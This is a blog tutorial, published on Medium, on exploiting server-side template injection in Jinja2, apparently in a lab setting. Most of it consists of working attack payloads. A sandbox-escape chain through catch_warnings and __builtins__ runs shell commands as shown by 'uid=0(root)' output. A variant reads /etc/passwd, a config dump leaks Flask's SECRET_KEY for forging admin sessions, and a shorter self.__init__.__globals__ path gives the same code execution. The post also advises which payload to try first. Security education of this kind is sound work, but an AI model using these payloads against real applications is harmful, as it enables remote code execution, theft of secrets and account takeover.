Escaping Jinja2’s sandbox using Python introspection and built-in objects.

Last part we found out the application was running Twig — remember, {{7*'7'}} came back as 49, numeric multiplication, that's PHP thinking.
But what if it came back as 7777777? That's a completely different story. That's Python. That's Jinja2 going "you want 7 multiplied by the string '7'? fine, here's '7' repeated seven times." Different language, different logic.
That’s what we’re dealing with in this part. New lab, Jinja2 this time. And trust me — the exploitation path here is way more interesting.

The First Instinct — And Why It Fails

Jinja2 runs on Python. So naturally, the first thing you think is — okay, Python lets me run system commands with os.system(), let me just do that:

{{ os.system('id') }}

Error. os is not defined.

Fine, import it then:

{{ __import__('os').system('id') }}

Error again. __import__ is not defined either.

This is where most people get confused. You have code execution — the server is literally running what you type — but the things you’d normally use to do something useful with it are just… gone.

That’s because Jinja2 doesn’t give you a full Python environment. It gives you a restricted one. A box. You’re inside Python but you can’t touch most of it directly.

So the question becomes: how do you get out of the box?

The Mindset Shift

Here’s the thing about Python that makes this possible. In Python, everything is an object. A string is an object. A number is an object. An empty list [] is an object. And every single object in Python carries information about itself — what class it belongs to, where that class came from, what other classes exist in the environment.

That information is always there. Jinja2 can block import and os, but it can't block Python's own object model without breaking itself.

So instead of trying to bring dangerous things in from outside, we use what’s already inside. We start from something as innocent as an empty list, and we climb through Python’s structure until we find what we need.

Let me walk you through it step by step.

Climbing the Chain

[].__class__

Every Python object knows what class it belongs to. Ask a list:

[].__class__

Returns <class 'list'>. Nothing special yet, we're just getting started.

[].__class__.__bases__[0]

Every class in Python comes from a parent class. Think of it like a family tree. list has a parent. That parent is called object.

object is the great-grandparent of almost everything in Python. Nearly every class ultimately traces back to it. If we can reach object, we can start exploring the rest of the environment from there.

[].__class__.__bases__[0]

Returns <class 'object'>. We're at the top of the tree.

[].__class__.__bases__[0].__subclasses__()

Now we ask object for all of its children — every class currently loaded in the Python environment:

[].__class__.__bases__[0].__subclasses__()

This returns a massive list. Hundreds of classes. Everything Python has loaded — built-in types, internal modules, framework classes, all of it.

This is the exploration phase. It’s exactly like running ls after you first get a shell on a machine. You don't know what's there yet. You're just looking.

Finding the Way In

Now here’s where it gets interesting.

The security community has spent years going through that list of subclasses, poking at each one, asking: does this class give me access to something useful? And after all that exploration, one class kept coming up.

catch_warnings.

It’s part of Python’s warnings module — completely harmless on its own. But it has an attribute called _module that gives you a reference back to the warnings module. And warnings, like almost every Python module, has __builtins__ — the dictionary of all Python built-in functions. open, eval, exec, __import__. Everything.

That’s the treasure. And catch_warnings is the door.

Here’s the chain visualized:

[]
↓ .__class__
list
↓ .__bases__[0]
object
↓ .__subclasses__()
[hundreds of classes... including catch_warnings]
↓ ._module
warnings
↓ .__builtins__
{'open': ..., '__import__': ..., 'eval': ...}
↓ ['__import__']('os')
os module
↓ .popen('id').read()
uid=0(root)

One chain. All the way from [] to root.

The Payload

We use a Jinja2 loop to find catch_warnings in the subclass list and then walk the chain:

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('id').read() }}
{% endif %}
{% endfor %}

Root. On a server. Through a name field.

And if you want to read files instead, swap the end of the chain:

{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{ x()._module.__builtins__['open']('/etc/passwd').read() }}
{% endif %}
{% endfor %}

Same escape, different destination.

The Shortcut — When the App Is Less Locked Down

Everything above works even on hardened Jinja2 environments. But sometimes the application isn’t hardened at all, and there’s a much shorter path.

The Config Dump

Flask exposes a config object inside every Jinja2 template by default. One payload:

{{ config.items() }}

Notice SECRET_KEY in that output — that's the key Flask uses to sign session cookies. With that key you can forge your own session token, sign it yourself, and log in as any user on the platform including admin. One payload, potentially full account takeover.

Skipping the Loop Entirely

If self.__globals__ is accessible, you don't need the whole catch_warnings loop. Jinja2's own template object exposes a shorter path to the same place:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Same result. No loop needed. Just walking Jinja2’s own object chain straight to __builtins__.

Which One Do You Use?

Try the short path first — self.__init__.__globals__. If the app isn't specifically hardened it works fine and it's a lot less code.

If that comes back undefined, fall back to catch_warnings. It doesn't rely on anything the application exposes — it starts from [], something you can always create — so the only way to block it is to fundamentally break Python's object model. Which nobody does.

Next part — SSTI exploitation in Twig. PHP this time, completely different object model, but the same way of thinking gets you there.


SSTI in Jinja2: From {{7*7}} to Remote Code Execution was originally published in System Weakness on Medium, where people are continuing the conversation by highlighting and responding to this story.